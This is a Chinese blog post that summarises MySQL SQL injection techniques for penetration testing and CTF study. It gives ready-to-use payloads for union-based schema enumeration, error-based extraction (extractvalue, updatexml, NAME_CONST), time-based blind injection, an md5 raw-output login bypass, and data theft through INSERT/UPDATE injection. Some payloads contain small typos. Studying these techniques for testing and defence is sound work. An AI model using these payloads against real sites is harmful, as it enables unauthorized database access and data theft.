vlambda博客
学习文章列表

SQL注入的常规思路及奇葩技巧

最近在看《SQL注入攻击与防御》这本书,看了之后感觉自己之前的视野和格局还是太小了些。SQLi的应用特别广泛,多种web数据库不说,移动安卓端也存在通用的SQLi。而从语言的角度来看~PHP/JAVA/PYTHON/C#等等~都可以与SQLi联系起来,由语言特性而衍生的SQLi种类。最近还听说Javascript也能写后端了,着实把我高兴坏了,看来PHP这“世界上最好的语言”的称号,要换主了~ 同是弱类型语言,这俩哥们怕是要一绝“高低”。

废话说到这里,由于SQLi体系扩展还没有完成,所以在这里算是总结一下之前学到的一些东西和技巧,希望能对大家有用。

一、  常规思路

这里是我自己用的一些常规的测试并利用流程,如有疑问,欢迎讨论:

数据回显注入

  1. 针对可疑的注入点进行测试,测试方式根据数据库类型的不同也有所不同:
    SQLi备忘录:http://pentestmonkey.net/category/cheat-sheet/sql-injection
    这位国外大牛收集了7种数据库的测试备忘录,非常全~

  2. 测试源语句查询字段数
    使用order by 语法,确定字段数。这个语句的意思是按照第n列排序,若order by 8正常,order by 9报错的话就表示原查询语句查询结果为9列。

  3. 确定显示位
    可以先尝试用select 1,2,3,4,5……,n#来检测,然后直接找相应数字出现的位置即可。之后的查询语句,最好用@或者NULL,类似
    select @,@,@#
    select NULL,NULL,NULL#
    可以保证不会因为数据类型不匹配而测试失败;
    PS:union 查询需要保证前后两个语句的查询列数相同,以及数据类型相同或相似。前者可以通过order by和其它姿势探测,后者使用NULL、@来避免。

  4. 查询数据库名
    SELECT group_concat(schema_name) FROM information_schema.schemata
    这里及以下的代码只是一个基本思路,可以在这个的基础上去变形、扩展。

  5. 查询表名
    select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’

  6. 查询列名
    Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’

  7. 爆数据
    Select group_concat(column_name) from table_name;

    报错注入

  8. group by

     报错原理
         http://www.jinglingshu.org/?p=4507
     语法
         `and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);`
  9. ExtractValue

     报错原理
         http://wt7315.blog.51cto.com/10319657/1891458
     语法
         `and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));`
  10. UpdateXml

     报错原理
         http://wt7315.blog.51cto.com/10319657/1891458
     语法
         `and 1=(updatexml(1,concat(0x3a,(select user())),1))`
  11. NAME_CONST

     报错原理
         http://www.2cto.com/article/201203/121491.html
     语法
         `and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)`
  12. join

     原理
         http://www.jinglingshu.org/?p=4507
     语法
         `select * from(select * from mysql.user a join mysql.user b using(Host))c;(爆列名贼好用)`

    时间盲注和布尔盲注

    这个比较灵活,我遇到的案例也很少,只能介绍些常用的小技巧:

    盲注比较方法

    运算符比较

     'abc'>'abd' 为TRUE
         hint:字母间比较为按照字母表顺序进行,字母与非字母字符之间则按照ascii码进行比较,所以可以通过0x5b-0x60中的一个非字母字符,来判断字母的大小写。

    函数

     ascii()

    greatest()

     返回参数中最大的数

    时间盲注函数

    sleep()
    benchmark()
    select id(条件,sleep(10),false);
    select CASE WHEN 1=1 THEN true ELSE flase END

    奇葩技巧

类型转换绕过

原理如下:

为什么查询password=0的数据时会将这些内容输出出来呢?
原因是mysql内在对比的时候进行了类型的转换,而字符串在转换为数字时,只会保留根据字符串开头的数字,如果第一位为字母而不是数字,则转换为0,而’9hehehehe’会被转换为9。
但这个技巧不能直接在实战中应用,因为真实代码中类似以下代码:
select username,password from user where username = '$username' and password = '$password';
变量用单引号括了起来,这样一来我们输入的数字0就会被转换为字符串0;
那怎么利用呢?用算术运算符,位运算符或者比较运算符。
可以看这个:
Mysql中的运算符集合
以加法举例,使用方式为:
‘+’, 拼接到SQL后的语句:where username=’’+’’
即将单引号闭合后进行字符串相加,也就自然转换为了数字。
其它运算符的使用也是想通的。

md5注入

可能有时会遇到这样的注入语句:
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";
用户名定死,再对输入进行md5编码,这样好像就没办法注入了。但其实不然,因为当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or'<trash> 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。
详情可以看这个md5第二个参数带来的安全问题

Updata 和 Insert注入

当注入点为Updata 或 Insert,并且不能通过堆叠注入构造自己新的注入语句的时候,仍有以下三种方式可以获取数据:

1. 闭合后构造

假设有以下注入语句:
insert into users values (17,'注入点', 'bond');
若第一个参数可控,则可以将注入点闭合后,在后面使用不被单引号闭合的select语句,将查询结果插入表中,然后再想办法通过正常途径查看。

2. 数字相加

还是这个注入语句
insert into users values (17,'join', '注入点');
只是注入点变为了第二个,这样的话,就不能同闭合直接构造。但可以通过把想要获取的数据转换为数字,然后与原字符串相加,获取数字后再还原回来。
和上面的类型转换知识点相似,’sdasdsad’+1 = 1
具体构造过程可以看安全客上的一篇文章
一种新的MySQL下Update、Insert注入方法
最后的注入结果:
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

3. 构造错误

对于非SELECT注入,如果成功执行的话会修改数据库数据。实战过程中不但会破坏数据库结构(白帽子挖洞的时候很可能因为这个违法),还容易引起管理员注意。所以在不让SQL语句正常执行的情况下获取数据是最好的方法。
报错盲注就不多说了,看常规部分(本文上篇)的介绍就可以。
但大部分的网站是不会傻到让你看错误回显的。
这个时候就需要时间盲注了:
比如下列注入语句
INSERT INTO table 1 VALUES (‘注入点’);
向注入点注入
'+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + '
整个语句就会变为
INSERT INTO table 1 VALUES (''+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + '');
因为返回了多列数据,该insert语句并不会执行,但是内部的select语句和sleep函数会照常执行,这样一来,也就可以通过写脚本获取数据了。
其中+为字符串连接符,根据数据库类型不同,连接符也不同,加号为SQL里的连接符,在mysql中并不适用,这里只是举个例子。

SQL约束性攻击

上篇CTF文章好像说过,之后我又找到了一篇解释得更清楚的文章:
基于约束条件的SQL攻击
可以学习一波。
这种漏洞就属于数据库安全配置错误;有一篇文章是专门讲数据库安全配置的,想走运维以及CTF的web出题人(防止预期之外的解)可以看一下:
MySQL安全配置

结束

除了以上的,还有一些东西,但有些是之前写过的,有些是还没有测试过的,这次就不发出来了。关于SQLi,正在总结一个各种姿势的思维导图,总结好了之后,希望大家前来赏光。

参考文献:

http://bobao.360.cn/learning/detail/3804.html
http://bobao.360.cn/learning/detail/3758.html